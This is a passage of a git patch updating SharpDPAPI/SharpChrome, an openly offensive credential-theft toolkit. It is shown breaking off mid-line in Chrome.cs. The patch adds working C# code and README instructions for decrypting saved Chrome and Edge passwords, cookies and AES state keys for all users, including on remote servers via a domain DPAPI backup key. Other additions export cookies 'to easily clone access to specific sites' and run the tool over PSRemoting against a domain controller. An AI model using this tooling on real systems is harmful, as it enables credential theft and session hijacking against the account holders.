From 5964eebc3e52ef692a43f09cddf6fdfab673e1bf Mon Sep 17 00:00:00 2001 From: harmj0y Date: Wed, 2 Sep 2020 14:14:09 -0700 Subject: [PATCH] Version 1.9.0 Added Chromium-based Edge support for SharpChrome Added /consoleoutfile support for SharpDPAPI/SharpChrome Added "statekeys" command to SharpChrome Fixed SharpChrome cookie bug for expires times of 0 --- CHANGELOG.md | 15 ++ README.md | 83 +++++--- SharpChrome/Commands/Cookies.cs | 29 ++- SharpChrome/Commands/Logins.cs | 26 ++- SharpChrome/Commands/Statekeys.cs | 88 +++++++++ SharpChrome/Domain/CommandCollection.cs | 1 + SharpChrome/Domain/Info.cs | 31 +-- SharpChrome/Program.cs | 115 +++++++++-- SharpChrome/SharpChrome.csproj | 1 + SharpChrome/lib/Chrome.cs | 244 +++++++++++++++++++----- SharpDPAPI/Domain/Info.cs | 2 +- SharpDPAPI/Domain/Version.cs | 2 +- SharpDPAPI/Program.cs | 119 ++++++++++-- SharpDPAPI/lib/Helpers.cs | 17 ++ SharpDPAPI/lib/Triage.cs | 1 - 15 files changed, 649 insertions(+), 125 deletions(-) create mode 100644 SharpChrome/Commands/Statekeys.cs diff --git a/CHANGELOG.md b/CHANGELOG.md index 1f1f501..19723a7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,21 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [1.9.0] - 2020-09-02 + +### Added +* **SharpChrome** project + * Added the ability to target Chromium-based Edge instances for `cookies` and `logins` with `/browser:edge` + * Added the `statekeys` command to triage reachable Chromiun AES state keys. + * Added the ability to supply `/statekey:X` to `cookies` and `logins` commands. + +### Fixed +* **SharpChrome** project + * Cookie expires filtering for 0 values. + +* the **/consoleoutfile** argument to redirect console output to a file, and the public `MainString("command")` function to work over PSRemoting (see end of README.md) + + ## [1.8.0] - 2020-07-13 ### Added diff --git a/README.md b/README.md index 4e547ec..f38f0a0 100755 --- a/README.md +++ b/README.md @@ -8,6 +8,8 @@ The [SharpChrome](#sharpchrome) subproject is an adaptation of work from [@gentilkiwi](https://twitter.com/gentilkiwi) and [@djhohnstein](https://twitter.com/djhohnstein), specifically his [SharpChrome project](https://github.com/djhohnstein/SharpChrome/). However, this version of SharpChrome uses a different version of the [C# SQL library](https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp) that supports [lockless opening](https://github.com/gentilkiwi/mimikatz/pull/199). SharpChrome is built as a separate project in SharpDPAPI because of the size of the SQLite library utilized. +Both Chrome and newer Chromium-based Edge browsers can be triaged with SharpChrome. + SharpChrome also uses an minimized version of @AArnott's [BCrypt P/Invoke code](https://github.com/AArnott/pinvoke/tree/master/src/BCrypt) released under the MIT License. If you're unfamiliar with DPAPI, [check out this post](https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/) for more background information. For more information on Credentials and Vaults in regards to DPAPI, check out Benjamin's [wiki entry on the subject.](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials) @@ -49,6 +51,7 @@ SharpDPAPI is licensed under the BSD 3-Clause license. * [SharpChrome Commands](#sharpchrome-commands) + [logins](#logins) + [cookies](#cookies) + + [statekeys](#statekeys) + [backupkey](#backupkey-1) * [Compile Instructions](#compile-instructions) + [Targeting other .NET versions](#targeting-other-net-versions) @@ -63,7 +66,7 @@ SharpDPAPI is licensed under the BSD 3-Clause license. (_ |_ _. ._ ._ | \ |_) /\ |_) | __) | | (_| | |_) |_/ | /--\ | _|_ | - v1.7.0 + v1.9.0 @@ -72,12 +75,20 @@ SharpDPAPI is licensed under the BSD 3-Clause license. SharpDPAPI backupkey [/server:SERVER.domain] [/file:key.pvk] + The *search* comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs: + + search /type:registry [/path:HKLM\path\to\key] [/showErrors] + search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] + search /type:file /path:C:\path\to\file [/maxBytes:] + search /type:base64 [/base:] + + Machine/SYSTEM Triage: machinemasterkeys - triage all reachable machine masterkey files (elevates to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret) machinecredentials - use 'machinemasterkeys' and then triage machine Credential files machinevaults - use 'machinemasterkeys' and then triage machine Vaults - machinecerts - use 'machinemasterkeys' and then triage machine certificate stores + machinecerts - use 'machinemasterkeys' and then triage machine certificate stores machinetriage - run the 'machinecredentials' and 'machinevaults' commands @@ -109,14 +120,13 @@ SharpDPAPI is licensed under the BSD 3-Clause license. These functions wrap all the other applicable functions that can be automatically run. - #### SharpChrome Command Line Usage __ _ (_ |_ _. ._ ._ / |_ ._ _ ._ _ _ __) | | (_| | |_) \_ | | | (_) | | | (/_ | - v1.6.1 + v1.9.0 Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file: @@ -124,29 +134,32 @@ SharpDPAPI is licensed under the BSD 3-Clause license. SharpChrome backupkey [/server:SERVER.domain] [/file:key.pvk] - Global arguments for the 'cookies' and 'logins' commands: + Global arguments for the 'cookies', 'logins', and 'statekeys' commands: Decryption: - /unprotect - force use of CryptUnprotectData() (default for unprivileged execution) - /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely. - GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption - /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption - /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys - /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /unprotect - force use of CryptUnprotectData() (default for unprivileged execution) + /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely. + GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption + /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption + /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys + /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /statekey:X - a decrypted AES state key (from the 'statekeys' command) Targeting: - /target:FILE - triage a specific 'Cookies' or 'Login Data' file location - /server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY) + /target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location + /server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY) + /browser:X - triage 'chrome' (the default) or (chromium-based) 'edge' Output: - /format:X - either 'csv' (default) or 'table' display - /showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default) + /format:X - either 'csv' (default) or 'table' display + /showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default) + /consoleoutfile:X - output all console output to a file on disk 'cookies' command specific arguments: - /cookie:"REGEX" - only return cookies where the cookie name matches the supplied regex - /url:"REGEX" - only return cookies where the cookie URL matches the supplied regex + /cookie:"REGEX" - only return cookies where the cookie name matches the supplied regex + /url:"REGEX" - only return cookies where the cookie URL matches the supplied regex /format:json - output cookie values in an EditThisCookie JSON import format. Best when used with a regex! /setneverexpire - set expirations for cookies output to now + 100 years (for json output) @@ -175,7 +188,7 @@ SharpChrome is a Chrome-specific implementation of SharpDPAPI capable of **cooki Since Chrome Cookies/Login Data are saved without CRYPTPROTECT_SYSTEM, CryptUnprotectData() is back on the table. If SharpChrome is run from an unelevated contect, it will attempt to decrypt any logins/cookies for the current user using CryptUnprotectData(). A `/pvk:[BASE64|file.pvk]`, {GUID}:SHA1 lookup table, `/password:X`, or `/mkfile:FILE` of {GUID}:SHA1 values can also be used to decrypt values. Also, the [C# SQL library](https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp) used (with a few modifications) supports [lockless opening](https://github.com/gentilkiwi/mimikatz/pull/199), meaning that Chrome does not have to be closed/target files do not have to be copied to another location. -If Chrome is version 80+, an AES state key is stored in *AppData\Local\Google\Chrome\User Data\Local State* - this key is protected with DPAPI, so we can use CryptUnprotectData()/pvk/masterkey lookup tables to decrypt it. This AES key is then used to protect new cookie and login data entries. +If Chrome is version 80+, an AES state key is stored in *AppData\Local\Google\Chrome\User Data\Local State* - this key is protected with DPAPI, so we can use CryptUnprotectData()/pvk/masterkey lookup tables to decrypt it. This AES key is then used to protect new cookie and login data entries. This is also the process when `/browser:edge` is specified, for newer Chromium-based Edge browser triage. By default, cookies and logins are displayed as a csv - this can be changed with `/format:table` for table output, and `/format:json` for cookies specifically. The json option outputs cookies in a json format that can be imported into the [EditThisCookie](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en) Chrome extension for easy reuse. @@ -1177,11 +1190,11 @@ When searching a base64 blob, specify the base64-encoded bytes to scan with the ### logins -The **logins** command will search for Chrome 'Login Data' files and decrypt the saved login passwords. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. +The **logins** command will search for Chrome 'Login Data' files and decrypt the saved login passwords. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. If `/browser:edge` is specified, the newer Chromium-based Edge browser is triaged. Login Data files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command. -A specific Login Data file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` is also supplied. +A specific Login Data file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` is also supplied. If triaging newer Chrome/Edge instances, a `/statekey:X` AES state key can be specified. By default, logins are displayed in a csv format. This can be modified with `/format:table` for table output. Also, by default only non-null password value entries are displayed, but all values can be displayed with `/showall`. @@ -1189,11 +1202,11 @@ If run from an elevated context, Login Data files for ALL users will be triaged, ### cookies -The **cookies** command will search for Chrome 'Cookies' files and decrypt cookie values. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. +The **cookies** command will search for Chrome 'Cookies' files and decrypt cookie values. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. If `/browser:edge` is specified, the newer Chromium-based Edge browser is triaged. Cookie files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command. -A specific Cookies file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` is also supplied. +A specific Cookies file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` is also supplied. If triaging newer Chrome/Edge instances, a `/statekey:X` AES state key can be specified. By default, cookies are displayed in a csv format. This can be modified with `/format:table` for table output, or `/format:json` for output importable by [EditThisCookie](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en). Also, by default only non-expired cookie value entries are displayed, but all values can be displayed with `/showall`. @@ -1201,6 +1214,14 @@ If run from an elevated context, Cookie files for ALL users will be triaged, oth The **cookies** command also has `/cookie:REGEX` and `/url:REGEX` arguments to only return cookie names or urls matching the supplied regex. This is useful with `/format:json` to easily clone access to specific sites. +### statekeys + +The **statekeys** command will search for Chrome/Edge AES statekey files (i.e. 'AppData\Local\Google\Chrome\User Data\Local State' and 'AppData\Local\Microsoft\Edge\User Data\Local State') and decrypts them using the same type of arguments that can be supplied for `cookies` and `logins`. + +State keys can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command. + +If run from an elevated context, state keys for ALL users will be triaged, otherwise only state keys for the current user will be processed. + ### backupkey The **backupkey** command will retrieve the domain DPAPI backup key from a domain controller using the **LsaRetrievePrivateData** API approach [from Mimikatz](https://github.com/gentilkiwi/mimikatz/blob/2fd09bbef0754317cd97c01dbbf49698ae23d9d2/mimikatz/modules/kuhl_m_lsadump.c#L1882-L1927). This private key can then be used to decrypt master key blobs for any user on the domain. And even better, the key never changes ;) @@ -1211,11 +1232,12 @@ This base64 key blob can be decoded to a binary .pvk file that can then be used By default, SharpDPAPI will try to determine the current domain controller via the **DsGetDcName** API call. A server can be specified with `/server:COMPUTER.domain.com`. If you want the key saved to disk instead of output as a base64 blob, use `/file:key.pvk`. + ## Compile Instructions We are not planning on releasing binaries for SharpDPAPI, so you will have to compile yourself :) -SharpDPAPI has been built against .NET 3.5 and is compatible with [Visual Studio 2015 Community Edition](https://go.microsoft.com/fwlink/?LinkId=532606&clcid=0x409). Simply open up the project .sln, choose "Release", and build. +SharpDPAPI has been built against .NET 3.5 and is compatible with [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Simply open up the project .sln, choose "Release", and build. ### Targeting other .NET versions @@ -1234,3 +1256,18 @@ SharpDPAPI can then be loaded in a PowerShell script with the following (where " The Main() method and any arguments can then be invoked as follows: [SharpDPAPI.Program]::Main("machinemasterkeys") + +#### Sidenote Sidenote: Running SharpDPAPI Over PSRemoting + +Due to the way PSRemoting handles output, we need to redirect stdout to a string and return that instead. Luckily, SharpDPAPI has a function to help with that. + +If you follow the instructions in [Sidenote: Running SharpDPAPI Through PowerShell](#sidenote-running-sharpdpapi-through-powershell) to create a SharpDPAPI.ps1, append something like the following to the script: + + [SharpDPAPI.Program]::MainString("machinemasterkeys") + +You should then be able to run SharpDPAPI over PSRemoting with something like the following: + + $s = New-PSSession dc.theshire.local + Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1 + +Alternatively, SharpDPAPI `/consoleoutfile:C:\FILE.txt` argument will redirect all output streams to the specified file. diff --git a/SharpChrome/Commands/Cookies.cs b/SharpChrome/Commands/Cookies.cs index 072645b..6864789 100755 --- a/SharpChrome/Commands/Cookies.cs +++ b/SharpChrome/Commands/Cookies.cs @@ -10,7 +10,6 @@ namespace SharpChrome.Commands public void Execute(Dictionary arguments) { - Console.WriteLine("\r\n[*] Action: Chrome Cookies Triage\r\n"); arguments.Remove("cookies"); string displayFormat = "csv"; // "csv", "table", or "json" display @@ -20,6 +19,15 @@ namespace SharpChrome.Commands bool setneverexpire = false; // set cookie output expiration dates to now + 100 years string cookieRegex = ""; // regex to search for specific cookie names string urlRegex = ""; // regex to search for specific URLs for cookies + string stateKey = ""; // decrypted AES statekey to use for cookie decryption + string browser = "chrome"; // alternate Chromiun browser to specify, currently only "edge" is supported + + if (arguments.ContainsKey("/browser")) + { + browser = arguments["/browser"].ToLower(); + } + + Console.WriteLine("\r\n[*] Action: {0} Saved Cookies Triage\r\n", SharpDPAPI.Helpers.Capitalize(browser)); if (arguments.ContainsKey("/format")) { @@ -51,7 +59,13 @@ namespace SharpChrome.Commands showAll = true; } - if(showAll) + if (arguments.ContainsKey("/statekey")) + { + stateKey = arguments["/statekey"]; + Console.WriteLine("[*] Using AES State Key: {0}]\r\n", stateKey); + } + + if (showAll) { Console.WriteLine("[*] Triaging all cookies, including expired ones."); } @@ -101,11 +115,17 @@ namespace SharpChrome.Commands if (arguments.ContainsKey("/target")) { string target = arguments["/target"].Trim('"').Trim('\''); + byte[] stateKeyBytes = null; + + if (!String.IsNullOrEmpty(stateKey)) + { + stateKeyBytes = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey); + } if (File.Exists(target)) { Console.WriteLine("[*] Target 'Cookies' File: {0}\r\n", target); - Chrome.ParseChromeCookies(masterkeys, target, displayFormat, showAll, unprotect, cookieRegex, urlRegex); + Chrome.ParseChromeCookies(masterkeys, target, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKeyBytes); } else { @@ -120,7 +140,8 @@ namespace SharpChrome.Commands } else { - Chrome.TriageChromeCookies(masterkeys, server, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire); + // last "true" -> indicates we want to triage Edge + Chrome.TriageChromeCookies(masterkeys, server, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKey, browser); } } } diff --git a/SharpChrome/Commands/Logins.cs b/SharpChrome/Commands/Logins.cs index 8c953b1..02bda48 100755 --- a/SharpChrome/Commands/Logins.cs +++ b/SharpChrome/Commands/Logins.cs @@ -10,13 +10,21 @@ namespace SharpChrome.Commands public void Execute(Dictionary arguments) { - Console.WriteLine("\r\n[*] Action: Chrome Saved Logins Triage\r\n"); arguments.Remove("logins"); string displayFormat = "csv"; // "csv" or "table" display string server = ""; // used for remote server specification bool showAll = false; // whether to display entries with null passwords bool unprotect = false; // whether to force CryptUnprotectData() + string stateKey = ""; // decrypted AES statekey to use for cookie decryption + string browser = "chrome"; // alternate Chromiun browser to specify, currently only "edge" is supported + + if (arguments.ContainsKey("/browser")) + { + browser = arguments["/browser"].ToLower(); + } + + Console.WriteLine("\r\n[*] Action: {0} Saved Logins Triage\r\n", SharpDPAPI.Helpers.Capitalize(browser)); if (arguments.ContainsKey("/format")) { @@ -33,6 +41,12 @@ namespace SharpChrome.Commands showAll = true; } + if (arguments.ContainsKey("/statekey")) + { + stateKey = arguments["/statekey"]; + Console.WriteLine("[*] Using AES State Key: {0}]\r\n", stateKey); + } + if (arguments.ContainsKey("/server")) { server = arguments["/server"]; @@ -74,11 +88,17 @@ namespace SharpChrome.Commands if (arguments.ContainsKey("/target")) { string target = arguments["/target"].Trim('"').Trim('\''); + byte[] stateKeyBytes = null; + + if (!String.IsNullOrEmpty(stateKey)) + { + stateKeyBytes = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey); + } if (File.Exists(target)) { Console.WriteLine("[*] Target 'Login Data' File: {0}\r\n", target); - Chrome.ParseChromeLogins(masterkeys, target, displayFormat, showAll, unprotect); + Chrome.ParseChromeLogins(masterkeys, target, displayFormat, showAll, unprotect, stateKeyBytes); } else { @@ -93,7 +113,7 @@ namespace SharpChrome.Commands } else { - Chrome.TriageChromeLogins(masterkeys, server, displayFormat, showAll, unprotect); + Chrome.TriageChromeLogins(masterkeys, server, displayFormat, showAll, unprotect, stateKey, browser); } } } diff --git a/SharpChrome/Commands/Statekeys.cs b/SharpChrome/Commands/Statekeys.cs new file mode 100644 index 0000000..1cff77e --- /dev/null +++ b/SharpChrome/Commands/Statekeys.cs @@ -0,0 +1,88 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace SharpChrome.Commands +{ + public class Statekeys : ICommand + { + public static string CommandName => "statekeys"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Chromium Statekey Extraction\r\n"); + arguments.Remove("cookies"); + + string server = ""; // used for remote server specification + bool unprotect = false; // whether to force CryptUnprotectData() + + if (arguments.ContainsKey("/unprotect")) + { + unprotect = true; + } + + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + Console.WriteLine("[*] Triaging remote server: {0}\r\n", server); + } + + // {GUID}:SHA1 keys are the only ones that don't start with / + Dictionary masterkeys = new Dictionary(); + foreach (KeyValuePair entry in arguments) + { + if (!entry.Key.StartsWith("/")) + { + masterkeys.Add(entry.Key, entry.Value); + } + } + if (arguments.ContainsKey("/pvk")) + { + // use a domain DPAPI backup key to triage masterkeys + masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments); + } + else if (arguments.ContainsKey("/mkfile")) + { + masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]); + } + else if (arguments.ContainsKey("/password")) + { + string password = arguments["/password"]; + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); + if (arguments.ContainsKey("/server")) + { + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); + } + else + { + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, "", password); + } + } + + if (arguments.ContainsKey("/target")) + { + string target = arguments["/target"].Trim('"').Trim('\''); + + if (File.Exists(target)) + { + Chrome.TriageStateKeys(masterkeys, server, unprotect, target); + } + else + { + Console.WriteLine("\r\n[X] '{0}' is not a valid file.", target); + } + } + else + { + if (arguments.ContainsKey("/server") && !arguments.ContainsKey("/pvk") && !arguments.ContainsKey("/password")) + { + Console.WriteLine("[X] The '/server:X' argument must be used with '/pvk:BASE64...' or '/password:X' !"); + } + else + { + Chrome.TriageStateKeys(masterkeys, server, unprotect); + } + } + } + } +} \ No newline at end of file diff --git a/SharpChrome/Domain/CommandCollection.cs b/SharpChrome/Domain/CommandCollection.cs index be7f94e..d951e4f 100755 --- a/SharpChrome/Domain/CommandCollection.cs +++ b/SharpChrome/Domain/CommandCollection.cs @@ -20,6 +20,7 @@ namespace SharpChrome.Domain _availableCommands.Add(Backupkey.CommandName, () => new Backupkey()); _availableCommands.Add(Logins.CommandName, () => new Logins()); _availableCommands.Add(Cookies.CommandName, () => new Cookies()); + _availableCommands.Add(Statekeys.CommandName, () => new Statekeys()); } public bool ExecuteCommand(string commandName, Dictionary arguments) diff --git a/SharpChrome/Domain/Info.cs b/SharpChrome/Domain/Info.cs index 87f4236..a2b59b8 100755 --- a/SharpChrome/Domain/Info.cs +++ b/SharpChrome/Domain/Info.cs @@ -4,7 +4,7 @@ namespace SharpChrome.Domain { public static class Info { - public static void Logo() + public static void ShowLogo() { Console.WriteLine("\r\n __ _ "); Console.WriteLine(" (_ |_ _. ._ ._ / |_ ._ _ ._ _ _ "); @@ -21,29 +21,32 @@ Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and SharpChrome backupkey [/server:SERVER.domain] [/file:key.pvk] -Global arguments for the 'cookies' and 'logins' commands: +Global arguments for the 'cookies', 'logins', and 'statekeys' commands: Decryption: - /unprotect - force use of CryptUnprotectData() (default for unprivileged execution) - /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely. - GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption - /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption - /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys - /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /unprotect - force use of CryptUnprotectData() (default for unprivileged execution) + /password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely. + GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption + /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption + /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys + /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /statekey:X - a decrypted AES state key (from the 'statekey' command) Targeting: - /target:FILE - triage a specific 'Cookies' or 'Login Data' file location - /server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY) + /target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location + /server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY) + /browser:X - triage 'chrome' (the default) or (chromium-based) 'edge' Output: - /format:X - either 'csv' (default) or 'table' display - /showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default) + /format:X - either 'csv' (default) or 'table' display + /showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default) + /consoleoutfile:X - output all console output to a file on disk 'cookies' command specific arguments: - /cookie:""REGEX"" - only return cookies where the cookie name matches the supplied regex - /url:""REGEX"" - only return cookies where the cookie URL matches the supplied regex + /cookie:""REGEX"" - only return cookies where the cookie name matches the supplied regex + /url:""REGEX"" - only return cookies where the cookie URL matches the supplied regex /format:json - output cookie values in an EditThisCookie JSON import format. Best when used with a regex! /setneverexpire - set expirations for cookies output to now + 100 years (for json output) diff --git a/SharpChrome/Program.cs b/SharpChrome/Program.cs index e05be6b..4ae5474 100755 --- a/SharpChrome/Program.cs +++ b/SharpChrome/Program.cs @@ -2,32 +2,123 @@ using System; using System.Collections.Generic; using SQLite; +using System.IO; +using System.Diagnostics; namespace SharpChrome { class Program { + private static void FileExecute(string commandName, Dictionary parsedArgs) + { + // execute w/ stdout/err redirected to a file + + string file = parsedArgs["/consoleoutfile"]; + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + + using (StreamWriter writer = new StreamWriter(file, true)) + { + writer.AutoFlush = true; + Console.SetOut(writer); + Console.SetError(writer); + + MainExecute(commandName, parsedArgs); + + Console.Out.Flush(); + Console.Error.Flush(); + } + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + } + + private static void MainExecute(string commandName, Dictionary parsedArgs) + { + // main execution logic + Stopwatch sw = new Stopwatch(); + sw.Start(); + + Info.ShowLogo(); + + try + { + var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs); + + // show the usage if no commands were found for the command name + if (commandFound == false) + Info.ShowUsage(); + } + catch (Exception e) + { + Console.WriteLine("\r\n[!] Unhandled SharpChrome exception:\r\n"); + Console.WriteLine(e); + } + + sw.Stop(); + Console.WriteLine("\n\nSharpChrome completed in " + sw.Elapsed); + } + + public static string MainString(string command) + { + // helper that executes an input string command and returns results as a string + // useful for PSRemoting execution + + string[] args = command.Split(); + + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) + { + Info.ShowLogo(); + Info.ShowUsage(); + return "Error parsing arguments: ${command}"; + } + + var commandName = args.Length != 0 ? args[0] : ""; + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + TextWriter stdOutWriter = new StringWriter(); + TextWriter stdErrWriter = new StringWriter(); + Console.SetOut(stdOutWriter); + Console.SetError(stdErrWriter); + + MainExecute(commandName, parsed.Arguments); + + Console.Out.Flush(); + Console.Error.Flush(); + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + + string output = ""; + output += stdOutWriter.ToString(); + output += stdErrWriter.ToString(); + + return output; + } + static void Main(string[] args) { try { - Info.Logo(); - - // try to parse the command line arguments, show usage on failure and then bail var parsed = ArgumentParser.Parse(args); if (parsed.ParsedOk == false) + { + Info.ShowLogo(); Info.ShowUsage(); + return; + } + + var commandName = args.Length != 0 ? args[0] : ""; + + if (parsed.Arguments.ContainsKey("/consoleoutfile")) + { + // redirect output to a file specified + FileExecute(commandName, parsed.Arguments); + } else { - // Try to execute the command using the arguments passed in - - var commandName = args.Length != 0 ? args[0] : ""; - - var commandFound = new CommandCollection().ExecuteCommand(commandName, parsed.Arguments); - - // show the usage if no commands were found for the command name - if (commandFound == false) - Info.ShowUsage(); + MainExecute(commandName, parsed.Arguments); } } catch (Exception e) diff --git a/SharpChrome/SharpChrome.csproj b/SharpChrome/SharpChrome.csproj index 608ec9b..fc46a61 100755 --- a/SharpChrome/SharpChrome.csproj +++ b/SharpChrome/SharpChrome.csproj @@ -81,6 +81,7 @@ + diff --git a/SharpChrome/lib/Chrome.cs b/SharpChrome/lib/Chrome.cs index 335894d..27d8b72 100755 --- a/SharpChrome/lib/Chrome.cs +++ b/SharpChrome/lib/Chrome.cs @@ -21,9 +21,15 @@ namespace SharpChrome // approach adapted from @djhohnstein's https://github.com/djhohnstein/SharpChrome/ project // but using this CSHARP-SQLITE version https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp - public static void TriageChromeLogins(Dictionary MasterKeys, string computerName = "", string displayFormat = "table", bool showAll = false, bool unprotect = false) + public static void TriageChromeLogins(Dictionary MasterKeys, string computerName = "", string displayFormat = "table", bool showAll = false, bool unprotect = false, string stateKey = "", string browser = "chrome") { - // triage all Chrome 'Login Data' files we can reach + // triage all Edge/Chrome 'Login Data' files we can reach + + byte[] aesStateKey = null; + if (!String.IsNullOrEmpty(stateKey)) + { + aesStateKey = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey); + } if (!String.IsNullOrEmpty(computerName)) { @@ -37,7 +43,7 @@ namespace SharpChrome if (SharpDPAPI.Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && SharpDPAPI.Helpers.TestRemote(computerName))) { - Console.WriteLine("[*] Triaging Chrome Logins for ALL users\r\n"); + Console.WriteLine("\r\n[*] Triaging {0} Logins for ALL users\r\n", SharpDPAPI.Helpers.Capitalize(browser)); string userFolder = ""; if (!String.IsNullOrEmpty(computerName)) @@ -55,46 +61,74 @@ namespace SharpChrome { if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) { - string loginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", dir); - var aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir); + var loginDataPath = ""; + var aesStateKeyPath = ""; - if (File.Exists(aesStateKeyPath)) + if (browser.ToLower() == "chrome") + { + loginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", dir); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir); + } + else if (browser.ToLower() == "edge") + { + loginDataPath = 